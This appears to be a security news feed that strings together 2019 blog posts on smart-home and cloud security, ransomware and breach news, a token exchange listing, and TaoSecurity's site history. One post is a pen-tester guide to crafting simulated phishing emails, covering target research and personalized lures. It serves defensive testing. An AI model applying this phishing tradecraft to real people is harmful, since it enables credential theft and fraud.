  • Update, update, update. Make sure that your device software is always up-to-date. This will ensure that you’re protected from any known vulnerabilities. For some devices, you can even turn on automatic updates to ensure that you always have the latest software patches installed.
  • Secure your network. Just as it’s important to secure your actual device, it’s also important to secure the network it’s connected to. Help secure your router by changing its default name and password and checking that it’s using an encryption method to keep communications secure. You can also look for home network routers or gateways that come embedded with security software like McAfee Secure Home Platform.
  • Use a comprehensive security solution. Use a solution like McAfee Total Protection to help safeguard your devices and data from known vulnerabilities and emerging threats.

And, as always, to stay updated on all of the latest consumer and mobile security threats, follow @McAfee_Home  on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post Is Your Smart Home Secure? 5 Tips to Help You Connect Confidently appeared first on McAfee Blogs.

Getting Started with Cloud Governance

Governing cloud security and privacy in the enterprise is hard, but it’s also critical: As recently noted in a blog by Cloud Transformation Specialist Brooke Noelke, security and complexity remain the two most significant obstacles to achieving enterprise cloud goals. Accelerating cloud purchases and tying them together without critical governance has resulted in many of today’s enterprise security executives losing sleep, as minimally secured cloud provider estates run production workloads, and organizations only begin to tackle outstanding SaaS (Software as a Service) footprints.

For security professionals and leaders, the on-premise (or co-location) data center seems simple by comparison: Want to protect applications in the data center? By virtue of the fact that it has a network connection in the data center, there are certain boundaries and processes that already apply. Business unit leaders aren’t exactly standing by with a credit card, trying to load tens of thousands of dollars of 4U Servers, storage racks, and a couple of SAN heads and then trying to expense it. In other words, for a workload in the data center, certain procurement controls must be completed, an IT review established, and implementation steps forced before the servers “light up”—and networking gates must be established for connectivity and publishing.

When it comes to the cloud, however, we’re being asked to fulfill new roles, while continuing to serve as protector of all the organization’s infrastructure, both new and existing. Be the rule setter. Contribute to development practice. Be the enforcer. And do all of this while at the same time making sure all the other projects you already had planned for the next 18 months get accomplished, as well …

Without appropriate controls and expectation-setting, development teams could use a credit card and publish a pre-built workload—from registration to world-accessibility—in hours! Sadly, that’s the reality at many organizations today, in a world where as much as 11% of a company’s published sensitive data is likely to be present in custom/engineered cloud applications.

Simplify Governance – Be Transparent

One of the biggest challenges for today’s businesses is understanding what the “sanctioned” path to cloud looks like: Who do they reach out to? Why should they engage the security team and other IT partners when the software vendor is willing to take credit cards directly? At many of today’s enterprises, “Security Awareness” initiatives mean some emails and a couple training sessions a year on “building block” security measures, with a particular focus on detecting phishing emails. While these measures have their place, security teams should also establish regular partnership meetings at the business unit level to “advertise” available services to “accelerate” capabilities into the cloud.

However, instead of communicating what the business will receive or explaining the steps the security team requires in order to complete the process, the emphasis should be on what departments receive by engaging the security team early: Faster funding and procurement approvals. Proactive scheduling of scarce resources for application review. Accelerated provisioning. And ultimately, faster spend and change times, with less risk and hopefully with minimal schedule impact.

The security team also needs to help the business understand that, while they may not see it reflected in direct line items today, there is a cost per application that they are generating for existing/legacy applications. If the perception is that today’s applications are “free,” but the team needs a line item to be created in new projects for cloud security deployments, it encourages people to exit the process or to avoid things that add to the price—or, at least, to fight an internal battle to push back on each line-item add. Our job is to help the organization understand that today’s security spend is around 7% of infrastructure or application spend, and to set the expectation that whatever the next-generation project budget is, an associated investment should be expected—in both technology and people—to secure the platform.

Establish a Goal and Discuss It

Does your business understand what the “goal line” looks like when it comes to putting something into the cloud? Would they know where to go to find the diagram(s) or list(s) that define that? What level of cloud competency and security understanding does someone in the business need in order to consume what your team has published?

If the answer to one or more of these questions is a shrug—or demands a master’s level understanding of technical knowledge—how can we as the leaders of the security space expect the business to readily partner with us in a process they don’t understand?

Published policy with accompanying detailed standards is a start. But the security team has an opportunity to go a step further with very basic conceptual “block” diagrams, which set “minimum viable protection” that the business’ “minimum viable product” must have to go into security.

The easiest way to do this is to take a minimum control set, and then create a few versions of the diagram—in other words, one for the smallest footprint and one or more at larger scale—to explain to the organization how the requirements “flex” according to the size and traffic volume of what has been deployed.

Cloud Governance is Possible

Governance is the initial building block for cloud security. Being successful in protecting cloud applications requires effective technical controls, like MVISION Cloud’s product risk assessment and protection for enterprise data through unified policy. For the organization to mature and further reduce risk, governance must become as much about consulting with businesses regarding cloud consumption as it has been historically about risk meetings and change reviews. With a few simple adjustments and intentional internal marketing investments, your team can start the journey.

The post Getting Started with Cloud Governance appeared first on McAfee Blogs.

How to Use Social Engineering Penetration Tests to Protect Against Phishing Attacks

Undefined

As long as you have an email address, you will forever be sent phishing emails attempting to lure you into some malicious activity. While we’re all familiar with the concept of these emails, it’s another thing entirely when it comes to designing one. Pen testers are given just such a task when they are charged with simulating a phishing campaign for an organization.

These campaigns are designed to give an organization data on how vulnerable they are to such attacks and serve as educational opportunities to teach employees about ways to recognize and avoid getting phished. Such campaigns can be the difference between a company that suffers a huge breach, and one that remains secure. With such high stakes, it’s important for pen testers to carefully craft their phish, just as a fly fisher carefully crafts each fly. Read on for key strategies pen testers keep in mind before deploying a social engineering campaign.

Think like an attacker.

In order to simulate a phishing attack, you have to keep the goals of a threat actor in mind. Phishing is typically used for one of two purposes. First, they may be trying to get malicious code past the perimeter. A target would click a link or attempt to open an attachment in an email, releasing malware into the entire organization. This malware could be used for any number of reasons, like creating a backdoor that the threat actor can then use to access the network.

Phishing is also used to convince a user to share their credentials, which can then be used for further attacks. This may be achieved by redirecting a user to a website that is designed to imitate a legitimate site that requires a login.

Design your phish to fit an attacker’s desired outcome. If the goal is to release a malicious payload, you may only need to entice a user to click on a link to a potentially interesting news article. On the other hand, if you need a login, you would want an email that imitates a service that you know they use.  

Have a few obvious phish.

Many people still associate phishing with the early days of email, which were fairly easy to spot, with email addresses like jsmith@fakebusiness.com and vague, misspelled subject lines like “Pleeze Opne.” These days, phishing is usually much more sophisticated, with junk filters catching most of the obvious culprits. That said, some recognizable phish do still sneak through, so a campaign should include some of these easy-to-spot phishes. Having some easy wins along with progressively more challenging options helps to show the full spectrum of phishing. Additionally, if people open such transparent phish, it may show that some users aren’t paying any attention to what they’re opening.

Use phish that are active in the wild.

Sometimes you may not need to look any further than your own inbox to find phish to use in your next campaign. If any have been able to get past your spam filter, or even fooled you upon first glance, it may be a viable candidate to use in a campaign. However, it’s important to ensure that you’re only using an imitation of these real phish. That way you can be sure to strip any actual harmful files or links from these emails before sending them. 

Additionally, take the time to study active campaigns using sources like PhishTank to find the latest fish that are currently circulating around the web. Even news stories about phishing attacks can be used as inspiration for creating a phish.

Not only will using wild phish provide valuable data, users who were susceptible to the test version of it during the campaign will now be on the alert. If the real version actually does arrive in their inboxes once the campaign is over, users will think twice before clicking.

Create customized phish.

The more specific a phish is, the more likely it is to be opened. Doing research using open source intelligence resources like the white pages, social media, etc. is critical prep work before launching a phishing campaign. Personalize phish in any way that you can – names, addresses, location, interests, etc. The more specific you can be, the less a user takes time to scrutinize. Simulating a business you know someone uses is far less likely to garner suspicion than an email from a bank they don’t belong to.   

Have a variety of phish.

A social engineering penetration test should simulate a real-world situation as much as possible. The best way to do this is to have phish of every level – obvious phish, generic but well-constructed phish, and highly custom bespoke phish. These phish should also have variety in terms of their content – some should attempt to draw users towards a malicious site, others should be intended to get someone to open a link. Some should imitate internal coworkers; others should imitate external companies unrelated to the business. This will provide an organization with the best data in terms of how susceptible their employees are, and what they need to work on.

You aren’t limited to email.

While some organizations may focus entirely on email-based pen testing, it’s good to keep in mind that phishing can be done with other forms of communication. Voice phishing can be used to acquire important pin numbers, for example. Text messages are also becoming increasingly popular, and can be particularly dangerous when used on a company issued cell phone, or even a personal device that is connected to the organization’s network. 

Keep phishing.

Take the time to keep up with the latest techniques and think creatively on different methods. Ensure that you’re using tools that help you get the most out of these tests, like Core Impact. Doing post campaign analysis with metrics like click rates, login numbers, and flagging instances will help show what an organization needs to work on. Additionally, these reports will become even more valuable to show progress after regular retesting.

Ultimately, the most important part of social engineering tests like phishing campaigns is to not rest on your laurels. Since attackers are constantly retooling and trying different tactics, pen testers must do so as well.

 

cs-best-practices-phishing-700x350.jpg

Phishing best practices
Penetration testing
Big text: 
Blog
Resource type: 
Blogs
Ready to build a phishing campaign?

See how Core Impact can help you create a full scope of penetration tests with a live demo from one of our experts.

Data deletion: Your data strategy’s greatest defense

After exposing personal information of more than 650,000 customers, pub chain Wetherspoon decided to delete almost all the customer information it had been storing to reduce risk. After all, the data you don’t have doesn’t need to be checked for compliance, disclosed in a GDPR subject access request or apologized for after a data breach.

In fact, data can be so toxic that Joshua de Larios-Heiman, chair of the California Lawyers Association Internet & Privacy Law Committee, suggests thinking of it as uranium rather than oil. “What happens to spent uranium rods? They become toxic assets and getting rid of them is really difficult. People will sue you if you dispose of them negligently,” he says.

To read this article in full, please click here

Can Video Game “Mods” Expose Players to Malware?

“Hackable?” host Geoff Siskind’s son is a huge fan of the world-building computer game Minecraft — and downloads “mods” for it often. These mods are third-party updates that allow players to alter their favorite game. Whether you want to improve the graphics or add your favorite movie character to a game, there’s a mod for it. But are they safe to download? Do mods allow hackers to conceal malware that threatens your devices and data?

On the latest episode of “Hackable?” the team investigates if the mods Geoff’s son is downloading are putting his computer at risk. We invited white-hat hacker Tim Martin back on the show to create a Minecraft mod for Geoff. Listen and learn if Tim is able to hide dangerous code in a seemingly innocuous game update.

Listen now to the award-winning podcast “Hackable?”.

The post Can Video Game “Mods” Expose Players to Malware? appeared first on McAfee Blogs.

How Chinese spy app allows officials to harvest personal data

Intrusive software collects emails and texts and could be used to track movement

The tourists travelling into China were never supposed to know their phones had been compromised.

The surveillance app being installed on their devices should have been removed by the border officers tasked with the job. But their apparent carelessness has provided a rare insight into the techniques used by China to snoop on visitors and the kind of information being harvested from their phones.

Continue reading...

CLB Bitsdaq Exchange Listing Information

Hello Cloudbric community!

We’re pleased to provide you with more information regarding CLB’s listing with Bitsdaq Exchange.

Check it out below.

Bitsdaq exchange listing CLB

1) Token: CLB (ERC20)

2) Listing schedule

Open for Deposit: Thursday, July 4, 2019 1PM KST

Open for Trade: Friday, July 5, 2019 5PM KST

Open for Withdraw: Monday, July 8, 2019 5PM KST

3) Currency transaction

– CLB/BTC trading pair

– Other pairs such as CLB/ETH will available in the future

4) Transaction fee: 0.25%

5) Other fees:

Deposit fee: None

Withdrawal fee: Fee will be updated on Bitsdaq (here) on July 8

===

Bitsdaq is a Hong Kong based cryptocurrency exchange based on the unique technology of its official partner, Bittrex exchange. Learn more about Bitsdaq here.

Stay tuned for future listings announcements!


Make sure to follow us on our social media platforms (LinkedInTwitter, and Facebook) and our recently opened Telegram Announcement Channel for the latest updates!

The post CLB Bitsdaq Exchange Listing Information appeared first on Cloudbric.

Cyber Security Roundup for June 2019

Keep Patching!
June 2019 was another very busy month for security update releases. Microsoft released updates to patch 22 critical rated vulnerabilities, Intel released 11 fixes, and there were also several critical security updates for Apple Airport, Adobe Flash Player, Cisco devices, Cisco Data Centre Network ManagerDell SupportAssistGoogle Chrome, Firefox and Apache.  One further standout vulnerability was the "SACK Panic" TCP Linux and FreeBSD kernel vulnerability, uncovered by Netflix researchers, however, Microsoft released a security advisory in regards to TCP SACK Panic by the end of the month.

The National Security Agency (NSA) backed up UK National Cyber Security Centre (NCSC) and Microsoft’s continuing strong recommendations for everyone to apply the latest security updates to all versions of Microsoft Windows, including the unsupported XP, Vista and Windows 2003 Server, to protect against the supercritical CVE-2019-0708 “BlueKeep” vulnerability.

More Major Ransomware Attacks coming to the UK?
We all know the United States government famously takes a stand of no negotiation with terrorists and kidnappers, with the specific policy of never paying ransom demands. There is a good reason for this policy, as paying ransoms just serves to encourage further kidnapping and ransom demands. So it was interesting to learn this month, that US local government does not adhere to the same policy when dealing with ransomware demands. Rivera Beach (Florida) paid a whopping $600,000 ransom to hackers after its computers systems were taken over by ransomware after an employee clicked on a link within a phishing email. Phishing emails are the typical starting ingress of most mass ransomware outbreaks which cripple organisations.  The Lake City (Florida) government officials said they had also paid a $460,000 ransom to cybercrooks following a ransomware attack on their municipality on 10th June.  Meanwhile, Baltimore officials approved $10 million to cover ongoing expenses related to its ransomware attack.

Paying ransomware demands will fuel further ransomware attacks, so I expect ransomware attacks to further escalate. So the big question is, can we expect UK further local government authorities and large organisations to be hard hit by mass ransomware outbreaks? The answer to that will come down to how well their patch management is, and whether lessons have been truly learnt from the destructive 2017 WannaCry ransomware outbreaks, which took down a number of NHS services. Given the recent BlueKeep Microsoft Windows critical vulnerability is expected to spark new strains of ransomware in the coming months, ransomware very much like WannaCry with the devasting capability of rapidly infecting and propagating via unpatched Microsoft Windows systems connected to flat networks, we shall soon find out.

Data Breaches
No major UK data breaches were reported in June 2019, but on the other side of the pond, a misconfigured AWS S3 bucket managed by a data integration company led to confidential data from Netflix, TD Bank, Ford and other companies being exposed. And a misconfigured MongoDB database resulted in 5 million personal records left open to the public via a website. Data breaches caused by misconfigured cloud services operated by third parties is becoming a bit of regular theme.

APT10 Cloud Hopper Campaign further Exposed
An interesting article by Reuters revealed eight of the world’s biggest technology service providers were successfully hacked by APT10 aka 'StonePanda'. APT10, linked to China hackers, operated a sustained campaign over a number of years dubbed “Cloud Hopper”, which Reuters revealed affected Hewlett Packard Enterprise (HPE), IBM, Fujitsu, Tata Consultancy Services, NTT Data, Dimension Data, Computer Sciences Corporation, and DXC Technology. The ATP10 attackers searched for access points into networks an IT systems, when found, extracted confidential information and potential trade secrets. These reported hacks may well be the tip of the iceberg. The Register stated, having gained access to the major service providers, the APT10 group may have gained access to many of their customers. Those customers run into the millions, “dramatically increasing the pool of valuable industrial and aerospace data stolen.”

BLOG
NEWS

VULNERABILITIES AND SECURITY UPDATES

HUAWEI NEWS AND THREAT INTELLIGENCE
AWARENESS, EDUCATION AND THREAT INTELLIGENCE
REPORTS

Happy Birthday TaoSecurity.com


Nineteen years ago this week I registered the domain taosecurity.com:

Creation Date: 2000-07-04T02:20:16Z

This was 2 1/2 years before I started blogging, so I don't have much information from that era. I did create the first taosecurity.com Web site shortly thereafter.

I first started hosting it on space provided by my then-ISP, Road Runner of San Antonio, TX. According to archive.org, it looked like this in February 2002.


That is some fine-looking vintage hand-crafted HTML. Because I lived in Texas I apparently reached for the desert theme with the light tan background. Unfortunately I didn't have the "under construction" gif working for me.

As I got deeper into the security scene, I decided to simplify and adopt a dark look. By this time I had left Texas and was in the DC area, working for Foundstone. According to archive.org, the site look like this in April 2003.


Notice I've replaced the oh-so-cool picture of me doing American Kenpo in the upper-left-hand corner with the classic Bruce Lee photo from the cover of The Tao of Jeet Kune Do. This version marks the first appearance of my classic TaoSecurity logo.

A little more than two years later, I decided to pursue TaoSecurity as an independent consultant. To launch my services, I painstakingly created more hand-written HTML and graphics to deliver this beauty. According to archive.org, the site looked like this in May 2005.


I mean, can you even believe how gorgeous that site is? Look at the subdued gray TaoSecurity logo, the red-highlighted menu boxes, etc. I should have kept that site forever.

We know that's not what happened, because that wonder of a Web site only lasted about a year. Still to this day not really understanding how to use CSS, I used a free online template by Andreas Viklund to create a new site. According to archive.org, the site appeared in this form in July 2006.


After four versions in four years, my primary Web site stayed that way... for thirteen years. Oh, I modified the content, SSH'ing into the server hosted by my friend Phil Hagen, manually editing the HTML using vi (and careful not to touch the CSS).

Then, I attended AWS re:inforce the last week in June, 2019. I decided that although I had tinkered with Amazon Web Services as early as 2010, and was keeping an eye on it as early as 2008, I had never hosted any meaningful workloads there. A migration of my primary Web site to AWS seemed like a good way to learn a bit more about AWS and an excuse to replace my teenage Web layout with something that rendered a bit better on a mobile device.

After working with Mobirise, AWS S3, AWS Cloudfront, AWS Certificate Manager, AWS Route 53, my previous domain name servers, and my domain registrar, I'm happy to say I have a new TaoSecurity.com Web site. The front page like this:


The background is an image of Milnet from the late 1990s. I apologize for the giant logo in the upper left. It should be replaced by a resized version later today when the AWS Cloudfront cache expires.

Scolling down provides information on my books, which I figured is what most people who visit the site care about.


For reference, I moved the content (which I haven't been updated) about news, press, and research to individual TaoSecurity Blog posts.

It's possible you will not see the site, if your DNS servers have the old IP addresses cached. That should all expire no later than tomorrow afternoon, I imagine.

Let's see if the new site lasts another thirteen years?

Reference: TaoSecurity Press

I started appearing in media reports in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

Reference: TaoSecurity Research

I started publishing my thoughts and findings on digital security in 1999. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.

2015 and later:

  • Please visit Academia.edu for Mr. Bejtlich's most recent research.
2014 and earlier:

Reference: TaoSecurity News

I started speaking publicly about digital security in 2000. I used to provide this information on my Web site, but since I don't keep that page up-to-date anymore, I decided to publish it here.
  • 2017
    • Mr. Bejtlich led a podcast titled Threat Hunting: Past, Present, and Future, in early July 2017. He interviewed four of the original six GE-CIRT incident handlers. The audio is posted on YouTube. Thank you to Sqrrl for making the reunion possible.
    • Mr. Bejtlich's latest book was inducted into the Cybersecurity Canon.
    • Mr. Bejtlich is doing limited security consulting. See this blog post for details.
  • 2016
    • Mr. Bejtlich organized and hosted the Management track (now "Executive track") at the 7th annual Mandiant MIRCon (now "FireEye Cyber Defense Summit") on 29-30 November 2016.
    • Mr. Bejtlich delivered the keynote to the 2016 Air Force Senior Leaders Orientation Conference at Joint Base Andrews on 29 July 2016.
    • Mr. Bejtlich delivered the keynote to the FireEye Cyber Defense Live Tokyo event in Tokyo on 12 July 2016.
    • Mr. Bejtlich delivered the keynote to the New Zealand Cyber Security Summit in Auckland on 6 May 2016.
    • Mr. Bejtlich delivered the keynote to the Lexpo Summit in Amsterdam on 21 April 2016. Video posted here.
    • Mr. Bejtlich discussed cyber security campaigns at the 2016 War Studies Cumberland Lodge Conference near London on 30 March 2016.
    • Mr. Bejtlich offered a guest lecture to the Wilson Center Congressional Cybersecurity Lab on 5 February 2016.
    • Mr. Bejtlich delivered the keynote to the SANS Cyber Threat Intelligence Summit on 4 February 2016. Slides and video available.
  • 2015
  • 2014
  • 2013
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat Seattle 2013: 9-10 December 2013 / Seattle, WA.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 November 2013.
    • Mr. Bejtlich spoke about digital security at the Mid-Atlantic CIO Council on 21 November 2013.
    • Mr. Bejtlich was a panelist at the Brookings Institute on 19 November 2013.
    • Mr. Bejtlich offered several guest lectures on digital security at the Massachusetts Institute of Technology on 18 November 2013.
    • Mr. Bejtlich was a panelist at the Atlantic Council on 15 November 2013.
    • Mr. Bejtlich organized and hosted the Management track at the 4th annual Mandiant MIRCon on 5-6 November 2013.
    • Mr. Bejtlich was a panelist at the Free Thinking Film Festival on 2 November 2013.
    • Mr. Bejtlich offered the keynote at the Cyber Ark user conference on 30 October 2013.
    • Mr. Bejtlich was a panelist at the Indiana University Center for Applied Cybersecurity Research on 21 October 2013.
    • Mr. Bejtlich spoke at the national ISSA conference on 10 October 2013.
    • Mr. Bejtlich was a panelist at the Politico Cyber 7 event on 8 October 2013.
    • Mr. Bejtlich offered the keynote at the BSides August 2013 conference on 14 September 2013.
    • Mr. Bejtlich taught Network Security Monitoring 101 at Black Hat USA 2013: 27-28 and 29-30 July 2013 / Las Vegas, NV.
    • Mr. Bejtlich was a panelist at the Chatham House Cyber Security Conference in London, England on 10 June 2013.
    • Mr. Bejtlich appeared in the documentary Hacked, first available 7 June 2013.
    • Mr. Bejtlich was interviewed at the Center for National Policy, with video archived, on 15 May 2013.
    • Mr. Bejtlich delivered a keynote at the IT Web Security Summit in Johannesburg, South Africa on 8 May 2013.
    • Mr. Bejtlich was a panelist at The George Washington University and US News & World Report Cybersecurity Conference on 26 April 2013.
    • Mr. Bejtlich testified to the House Committee on Foreign Affairs on 21 March 2013.
    • Mr. Bejtlich testified to the House Committee on Homeland Security on 20 March 2013.
    • Mr. Bejtlich testified to the Senate Armed Services Committee on 19 March 2013.
    • Mr. Bejtlich shared his thoughts on the APT1 report with the Federalist Society on 12 March 2013. The conference call was recorded as Cybersecurity And the Chinese Hacker Problem - Podcast.
  • 2012
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat Abu Dhabi 2012: 3-4 Dec / Abu Dhabi, UAE.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Calgary, AB on 28 Nov 2012.
    • Mr. Bejtlich spoke at AppSecUSA in Austin, TX on 26 Oct 2012. The talk Incident Response: Security After Compromise is posted as a video (42 min).
    • Mr. Bejtlich organized and hosted the Management track at the 3rd annual Mandiant MIRCon on 17-18 October 2012.
    • Mr. Bejtlich spoke at a SANS event in Baltimore, MD on 5 Oct 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event in Dallas, TX on 13 Sep 2012.
    • Mr. Bejtlich taught TCP/IP Weapons School 3.0 at Black Hat USA 2012: 21-22 and 23-24 Jul / Las Vegas, NV.
    • Mr. Bejtlich taught a compressed version of TCP/IP Weapons School 3.0 at a U.S. Cyber Challenge Summer Camp in Ballston, VA on 28 Jun 2012.
    • Mr. Bejtlich participated on a panel titled Hackers vs Executives at the Forrester conference in Las Vegas on 25 May 2012.
    • Mr. Bejtlich spoke at the Cyber Security for Executive Leadership: What Every CEO Should Know event in Raleigh, NC on 11 May 2012.
    • Mr. Bejtlich participated on a panel titled SEC Cyber Security Guidelines: A New Basis for D&O Exposure? at the 8th Annual National Directors & Officers Insurance ExecuSummit in Uncasville, CT on 8 May 2012.
    • Mr. Bejtlich delivered the keynote to the 2012 National Cyber Crime Conference in Norwood, MA on 30 Apr 2012.
    • Mr. Bejtlich spoke at the FOSE conference on a panel discussing new attacks on 4 Apr 2012.
    • Mr. Bejtlich testified to the US-China Economic and Security Review Commission on 26 Mar 2012.
    • Mr. Bejtlich spoke at the Air Force Association CyberFutures conference (audio mp3) on 23 Mar 2012.
    • Mr. Bejtlich delivered the keynote to the IANS Research Mid-Atlantic conference on 21 Mar 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in New York, NY on 15 Mar 2012.
    • Mr. Bejtlich spoke to the Augusta, GA ISSA chapter on 8 Mar 2012.
    • Mr. Bejtlich participated on a panel about digital threats at the RSA Executive Security Action Forum on 27 Feb 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Gen (ret.) Michael Hayden in Washington, DC on 22 Feb 2012.
    • Mr. Bejtlich spoke at the ShmooCon Epilogue conference on 30 Jan 2012.
    • Mr. Bejtlich spoke at a Mandiant breakfast event with Secretary Michael Chertoff in Houston, TX on 12 Jan 2012.
  • 2011
  • 2010
  • 2009
  • 2008
  • 2007
    • Mr. Bejtlich offered a guest lecture on digital security at George Mason University on 29 November 2007.
    • Network Security Operations: 27-29 August 2007 / public 3 day class / Chicago, IL
    • Mr. Bejtlich spoke to the Chicago Electronic Crimes Task Force and the Chicago Snort Users Group on 30 and 29 August 2007, respectively.
    • Mr. Bejtlich taught Network Security Operations on 21-23 August 2007 / Cincinnati, OH
    • Mr. Bejtlich taught TCP/IP Weapons School (layers 4-7) at USENIX Security 2007: 6-7 August 2007 / Boston, MA.
    • Mr. Bejtlich taught TCP/IP Weapons School at Black Hat USA 2007: 28-29 and 30-31 July 2007 / Caesars Palace, Las Vegas, NV.
    • USENIX 2007: 20-22 June 2007 / Network Security Monitoring and TCP/IP Weapons School (Layers 2-3) tutorials / Santa Clara, CA
    • Mr. Bejtlich briefed GFIRST 2007: 25-26 June 2007 / Network Incident Response and Forensics (two half-day tutorials) and Traditional IDS Should Be Dead conference presentation / Orlando, FL
    • Mr. Bejtlich taught TCP/IP Weapons School (Layers 2-3) and briefed Open Source Network Forensics at Techno Security 2007: 5-7 June 2007 / / Myrtle Beach, SC.
    • Mr. Bejtlich briefed Open Source Network Forensics at ISS World Spring 2007: 31 May 2007 / Washington, DC
    • Mr. Bejtlich briefed Network Incident Response and Forensics at AusCERT 2007: 23-24 May 2007 / Gold Coast, Australia.
    • Mr. Bejtlich taught Network Security Monitoring: 25 May 2007 / Sydney, Australia.
    • Mr. Bejtlich briefed at CONFIDENCE 2007: 13 May 2007 / Krakow, Poland.
    • Mr. Bejtlich briefed at ShmooCon: 24 March 2007 / Washington, DC; video here.
  • 2006
  • 2005
    • Mr. Bejtlich presented three full-day tutorials at USENIX LISA 2005 in San Diego, CA, from 6-8 December 2005. He taught network security monitoring, incident response, and forensics.
    • Mr. Bejtlich spoke at the Cisco Fall 2005 System Engineering Security Virtual Team Meeting in San Jose, CA on 10 October 2005.
    • Mr. Bejtlich spoke at the Net Optics Think Tank at the Hilton Santa Clara in Santa Clara, CA on 21 September 2005. He discussed network forensics, with a preview of material in his next book Real Digital Forensics.
    • Mr. Bejtlich taught network security monitoring to security analysts from the Pentagon with Special Ops Security on 23 and 24 August 2005 in Rosslyn, VA.
    • Mr. Bejtlich spoke at the InfraGard 2005 National Conference on 9 August 05 in Washington, DC on the basics of network forensics.
    • Mr. Bejtlich taught a one day course on network incident response, with his forensics book as the background material, at USENIX Security 05 on 1 August 2005 in Baltimore, MD.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his NSM book as the background material, at USENIX Security 05 on 31 July 2005 in Baltimore, MD.
    • Mr. Bejtlich offered a guest lecture on digital security at George Washington University on 23 June 2005.
    • Mr. Bejtlich spoke at the Techno Security 2005 conference on 13 June 2005 in Myrtle Beach, CA. He was invited by Tenable Security to appear at their evening social event.
    • Mr. Bejtlich spoke at the Net Optics Think Tank on 18 May 2005 in Sunnyvale, CA.
    • Mr. Bejtlich presented Keeping FreeBSD Up-To-Date and More Tools for Network Security Monitoring at BSDCan 2005 on 13 May 2005.
    • Mr. Bejtlich spoke to the Pentagon Security Forum on 19 April 2005.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his book as the background material, at USENIX 05 on 14 April 2005 in Anaheim, CA.
    • Mr. Bejtlich spoke to the Government Forum of Incident Response and Security Teams (GFIRST) on 5 April 2005 in Orlando, FL.
    • Mr. Bejtlich spoke to the Information Systems Security Association of Northern Virginia (ISSA-NoVA) on 17 February 2005 in Reston, VA.
    • Mr. Bejtlich spoke at the 2005 DoD Cybercrime Conference on 13 January 2005 in Palm Harbor, FL.
  • 2004
    • Mr. Bejtlich spoke to the DC Systems Administrators Guild (DC-SAGE) on 21 October 2004 about Sguil.
    • Mr. Bejtlich spoke to the DC Linux Users Group on 15 September 2004 about Sguil.
    • Mr. Bejtlich spoke to the High Technology Crime Investigation Association International Conference and Expo 2004 on 13 September 2004 in Washington, DC about Sguil.
    • Mr. Bejtlich taught a one day course on network security monitoring, with his first book as the background material, at USENIX Security 04 on 9 August 2004 in San Diego.
    • Mr. Bejtlich spoke to the DC Snort User's Group on 24 Jun 2004 about Sguil.
    • Mr. Bejtlich presented Network Security Monitoring with Sguil (.pdf) at BSDCan on 14 May 2004.
    • Mr. Bejtlich spoke to the SANS Local Mentor program in northern Virginia for two hours on 11 May 2004 about NSM using Sguil. Joe Bowling invited him.
    • Mr. Bejtlich gave a lightning talk demo of Sguil at CanSecWest 04 on 22 April 2004.
  • 2003
    • Mr. Bejtlich spoke to ISSA-CT about network security monitoring on 9 December 2003.
    • Mr. Bejtlich taught Foundstone's Ultimate Hacking Expert class at Black Hat Federal 2003 in Tyson's Corner, 29-30 September 2003.
    • Mr. Bejtlich recorded a second webcast on network security monitoring for SearchSecurity.com. He posted the slides here.
    • Mr. Bejtlich taught the first day of Foundstone's Ultimate Hacking Expert class at Black Hat USA 2003 Training in Las Vegas on 28 July 2003.
    • Mr. Bejtlich spoke on 21 July 2003 in Washington, DC at the SANS NIAL conference.
    • Mr. Bejtlich discussed digital security in Toronto on 13 March 2003 and in Washington, DC on Tuesday, 25 March 2003 at the request of Watchguard.
    • Mr. Bejtlich taught days four, five, and six of the SANS intrusion detection track in San Antonio, Texas from 28-30 January 2003.
  • 2002
    • Mr. Bejtlich recorded a webcast on network security monitoring (PDF slides) with his friend Bamm Visscher for SearchSecurity.com and answered questions submitted by listeners. A SearchSecurity editor commented on the talk as well.
    • Mr. Bejtlich helped teach Foundstone's Ultimate Hacking class at Black Hat USA 2002 Training in Las Vegas on 29-30 July 2002.
    • Mr. Bejtlich taught days one, two, and three of the SANS intrusion detection track in San Antonio, Texas from 15-17 July 2002.
    • Mr. Bejtlich taught day four of the SANS intrusion detection track in Toronto, Ontario on 16 May 2002.
    • On 11 April 2002 Mr. Bejtlich briefed the South Texas ISSA chapter on Snort.
    • Mr. Bejtlich helped teach day four of the SANS intrusion detection track in San Antonio, Texas on 14 March 2002 after Marty Roesch was unable to teach the class.
  • 2000-2001
    • On 24-25 October 2001 Mr. Bejtlich spoke to the Houston InfraGard chapter at their 2001 conference.
    • In August and September 2001 Mr. Bejtlich briefed analysts at the AFCERT on Interpreting Network Traffic.
    • On 19 October 2000 Mr. Bejtlich was invited back to speak at the SANS Network Security 2000 Technical Conference.
    • During 14-16 August 2000 Mr. Bejtlich participated in the Cyber Summit 2000 sponsored by the Air Intelligence Agency. Mr. Bejtlich was a captain in the AFCERT. You will find him in the middle of this picture.
    • In June 2000 Mr. Bejtlich signed a letter protesting the Council of Europe draft treaty on Crime in Cyberspace.
    • In June 2000 Mr. Bejtlich briefed FIRST on third party effects. This predated CAIDA's 2001 USENIX "backscatter" paper.
    • On 25 March 2000 Mr. Bejtlich presented Interpreting Network Traffic: A Network Intrusion Detector's Look at Suspicious Events at the SANS 2000 Technical Conference.